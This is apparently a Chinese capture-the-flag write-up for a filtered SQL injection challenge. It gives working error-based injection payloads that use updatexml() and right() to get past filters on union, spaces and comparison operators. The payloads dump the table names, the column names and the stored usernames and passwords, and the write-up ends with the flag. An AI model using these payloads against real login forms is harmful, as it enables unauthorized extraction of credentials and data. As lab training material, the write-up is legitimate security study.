万能密码进不去,直接开始注入。
union,and,=,>,<,空格被过滤了
可以用报错注入的方法写
payload:?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
payload:?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
payload:?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=21
payload:?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=21
updatexml(1,concat(0x7e,select(database()),0x7e),1)
发现flag并不完整,查一下updatexml的函数,只返回前面32个字符,可以用right函数来返回右边的字符
payload:?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,32)))from(H4rDsq1)),0x7e),1))%23&password=21
得到右边的字符串。
flag{43d6bf62-0d92-423c-9bee-4c6954782581}